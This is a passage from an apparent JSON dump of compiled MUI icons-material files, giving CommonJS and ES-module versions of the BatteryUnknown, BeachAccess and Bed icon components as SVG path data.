    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4m-2.72 13.95h-1.9v-1.9h1.9zm1.35-5.26s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknown');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4m-2.72 13.95h-1.9v-1.9h1.9zm1.35-5.26s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknown');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.14.14-.27.31-.39.47l-.09.15c-.08.12-.14.25-.19.37-.09.22-.16.43-.16.61h-1.6c0-.42.12-.8.29-1.13.06-.11.13-.21.2-.31.03-.05.06-.11.1-.16.11-.14.23-.28.34-.4l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5-.65 0-1.21.41-1.41.99-.11.31-.39.51-.71.51-.52 0-.88-.52-.71-1.01C9.59 8.83 10.69 8 12 8c1.66 0 3 1.34 3 3 0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.14.14-.27.31-.39.47l-.09.15c-.08.12-.14.25-.19.37-.09.22-.16.43-.16.61h-1.6c0-.42.12-.8.29-1.13.06-.11.13-.21.2-.31.03-.05.06-.11.1-.16.11-.14.23-.28.34-.4l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5-.65 0-1.21.41-1.41.99-.11.31-.39.51-.71.51-.52 0-.88-.52-.71-1.01C9.59 8.83 10.69 8 12 8c1.66 0 3 1.34 3 3 0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryUnknownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm1.3-5.31s-.38.42-.67.71c-.48.48-.83 1.15-.83 1.6h-1.6c0-.83.46-1.52.93-2l.93-.94c.27-.27.44-.65.44-1.06 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5H9c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .66-.27 1.26-.7 1.69\"\n}), 'BatteryUnknownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccess.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.127 14.56 1.43-1.43 6.44 6.443L19.57 21zm4.293-5.73 2.86-2.86c-3.95-3.95-10.35-3.96-14.3-.02 3.93-1.3 8.31-.25 11.44 2.88M5.95 5.98c-3.94 3.95-3.93 10.35.02 14.3l2.86-2.86C5.7 14.29 4.65 9.91 5.95 5.98m.02-.02-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3\"\n}), 'BeachAccess');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccess.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.127 14.56 1.43-1.43 6.44 6.443L19.57 21zm4.293-5.73 2.86-2.86c-3.95-3.95-10.35-3.96-14.3-.02 3.93-1.3 8.31-.25 11.44 2.88M5.95 5.98c-3.94 3.95-3.93 10.35.02 14.3l2.86-2.86C5.7 14.29 4.65 9.91 5.95 5.98m.02-.02-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3\"\n}), 'BeachAccess');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 19.57-1.427 1.428-6.442-6.442 1.43-1.428zM13.12 3c-2.58 0-5.16.98-7.14 2.95l-.01.01c-3.95 3.95-3.95 10.36 0 14.31l14.3-14.31C18.3 3.99 15.71 3 13.12 3M6.14 17.27C5.4 16.03 5 14.61 5 13.12c0-.93.16-1.82.46-2.67.19 1.91.89 3.79 2.07 5.44zm2.84-2.84C7.63 12.38 7.12 9.93 7.6 7.6c.58-.12 1.16-.18 1.75-.18 1.8 0 3.55.55 5.08 1.56zm1.47-8.97c.85-.3 1.74-.46 2.67-.46 1.49 0 2.91.4 4.15 1.14l-1.39 1.39c-1.65-1.18-3.52-1.88-5.43-2.07\"\n}), 'BeachAccessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 19.57-1.427 1.428-6.442-6.442 1.43-1.428zM13.12 3c-2.58 0-5.16.98-7.14 2.95l-.01.01c-3.95 3.95-3.95 10.36 0 14.31l14.3-14.31C18.3 3.99 15.71 3 13.12 3M6.14 17.27C5.4 16.03 5 14.61 5 13.12c0-.93.16-1.82.46-2.67.19 1.91.89 3.79 2.07 5.44zm2.84-2.84C7.63 12.38 7.12 9.93 7.6 7.6c.58-.12 1.16-.18 1.75-.18 1.8 0 3.55.55 5.08 1.56zm1.47-8.97c.85-.3 1.74-.46 2.67-.46 1.49 0 2.91.4 4.15 1.14l-1.39 1.39c-1.65-1.18-3.52-1.88-5.43-2.07\"\n}), 'BeachAccessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.13 14.56 1.43-1.43 5.73 5.73c.39.39.39 1.03 0 1.43-.39.39-1.03.39-1.43 0zm4.29-5.73 1.27-1.27c.89-.89.77-2.43-.31-3.08-3.89-2.38-9.03-1.89-12.4 1.47 3.93-1.3 8.31-.25 11.44 2.88M5.95 5.98c-3.36 3.37-3.85 8.51-1.48 12.4.66 1.08 2.19 1.21 3.08.31l1.27-1.27C5.7 14.29 4.65 9.91 5.95 5.98m.02-.02-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3\"\n}), 'BeachAccessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.13 14.56 1.43-1.43 5.73 5.73c.39.39.39 1.03 0 1.43-.39.39-1.03.39-1.43 0zm4.29-5.73 1.27-1.27c.89-.89.77-2.43-.31-3.08-3.89-2.38-9.03-1.89-12.4 1.47 3.93-1.3 8.31-.25 11.44 2.88M5.95 5.98c-3.36 3.37-3.85 8.51-1.48 12.4.66 1.08 2.19 1.21 3.08.31l1.27-1.27C5.7 14.29 4.65 9.91 5.95 5.98m.02-.02-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3\"\n}), 'BeachAccessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.95 5.98c-3.94 3.95-3.93 10.35.02 14.3l2.86-2.86C5.7 14.29 4.65 9.91 5.95 5.98m11.47 2.85 2.86-2.86c-3.95-3.95-10.35-3.96-14.3-.02 3.93-1.3 8.31-.25 11.44 2.88M5.97 5.96l-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3m7.156 8.6 1.428-1.428 6.442 6.442-1.43 1.428z\"\n}), 'BeachAccessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.95 5.98c-3.94 3.95-3.93 10.35.02 14.3l2.86-2.86C5.7 14.29 4.65 9.91 5.95 5.98m11.47 2.85 2.86-2.86c-3.95-3.95-10.35-3.96-14.3-.02 3.93-1.3 8.31-.25 11.44 2.88M5.97 5.96l-.01.01c-.38 3.01 1.17 6.88 4.3 10.02l5.73-5.73c-3.13-3.13-7.01-4.68-10.02-4.3m7.156 8.6 1.428-1.428 6.442 6.442-1.43 1.428z\"\n}), 'BeachAccessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.6 7.6c-.47 2.34.03 4.78 1.39 6.83l5.45-5.45c-1.53-1.02-3.28-1.56-5.08-1.56-.6 0-1.19.06-1.76.18M13.12 5c-.93 0-1.82.16-2.67.46 1.91.19 3.79.89 5.44 2.07l1.39-1.39C16.03 5.4 14.61 5 13.12 5M5 13.12c0 1.49.4 2.91 1.14 4.15l1.39-1.39c-1.18-1.65-1.88-3.52-2.07-5.44-.3.86-.46 1.76-.46 2.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.126 14.56 1.428-1.428 6.442 6.442-1.43 1.428zM13.12 3c-2.58 0-5.16.98-7.14 2.95l-.01.01c-3.95 3.95-3.95 10.36 0 14.31l14.3-14.31C18.3 3.99 15.71 3 13.12 3M6.14 17.27C5.4 16.03 5 14.61 5 13.12c0-.93.16-1.82.46-2.67.19 1.91.89 3.79 2.07 5.44zm2.84-2.84C7.63 12.38 7.12 9.93 7.6 7.6c.58-.12 1.16-.18 1.75-.18 1.8 0 3.55.55 5.08 1.56zm1.47-8.97c.85-.3 1.74-.46 2.67-.46 1.49 0 2.91.4 4.15 1.14l-1.39 1.39c-1.65-1.18-3.52-1.88-5.43-2.07\"\n}, \"1\")], 'BeachAccessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeachAccessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.6 7.6c-.47 2.34.03 4.78 1.39 6.83l5.45-5.45c-1.53-1.02-3.28-1.56-5.08-1.56-.6 0-1.19.06-1.76.18M13.12 5c-.93 0-1.82.16-2.67.46 1.91.19 3.79.89 5.44 2.07l1.39-1.39C16.03 5.4 14.61 5 13.12 5M5 13.12c0 1.49.4 2.91 1.14 4.15l1.39-1.39c-1.18-1.65-1.88-3.52-2.07-5.44-.3.86-.46 1.76-.46 2.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.126 14.56 1.428-1.428 6.442 6.442-1.43 1.428zM13.12 3c-2.58 0-5.16.98-7.14 2.95l-.01.01c-3.95 3.95-3.95 10.36 0 14.31l14.3-14.31C18.3 3.99 15.71 3 13.12 3M6.14 17.27C5.4 16.03 5 14.61 5 13.12c0-.93.16-1.82.46-2.67.19 1.91.89 3.79 2.07 5.44zm2.84-2.84C7.63 12.38 7.12 9.93 7.6 7.6c.58-.12 1.16-.18 1.75-.18 1.8 0 3.55.55 5.08 1.56zm1.47-8.97c.85-.3 1.74-.46 2.67-.46 1.49 0 2.91.4 4.15 1.14l-1.39 1.39c-1.65-1.18-3.52-1.88-5.43-2.07\"\n}, \"1\")], 'BeachAccessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5z\"\n}), 'Bed');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5z\"\n}), 'Bed');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm-1 7v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v2z\"\n}), 'BedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v6h2v-2h16v2h2v-6c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm-1 7v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v2z\"\n}), 'BedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v5c0 .55.45 1 1 1s1-.45 1-1v-1h16v1c0 .55.45 1 1 1s1-.45 1-1v-5c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm-1 7v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v2z\"\n}), 'BedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10.78V8c0-1.65-1.35-3-3-3h-4c-.77 0-1.47.3-2 .78-.53-.48-1.23-.78-2-.78H6C4.35 5 3 6.35 3 8v2.78c-.61.55-1 1.34-1 2.22v5c0 .55.45 1 1 1s1-.45 1-1v-1h16v1c0 .55.45 1 1 1s1-.45 1-1v-5c0-.88-.39-1.67-1-2.22M14 7h4c.55 0 1 .45 1 1v2h-6V8c0-.55.45-1 1-1M5 8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v2H5zm-1 7v-2c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v2z\"\n}), 'BedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10V5H3v5H2v9h2v-2h16v2h2v-9zm-8-3h6v3h-6zm-8 3V7h6v3zm-1 5v-3h16v3z\"\n}), 'BedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10V5H3v5H2v9h2v-2h16v2h2v-9zm-8-3h6v3h-6zm-8 3V7h6v3zm-1 5v-3h16v3z\"\n}), 'BedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedTwoTone.js",
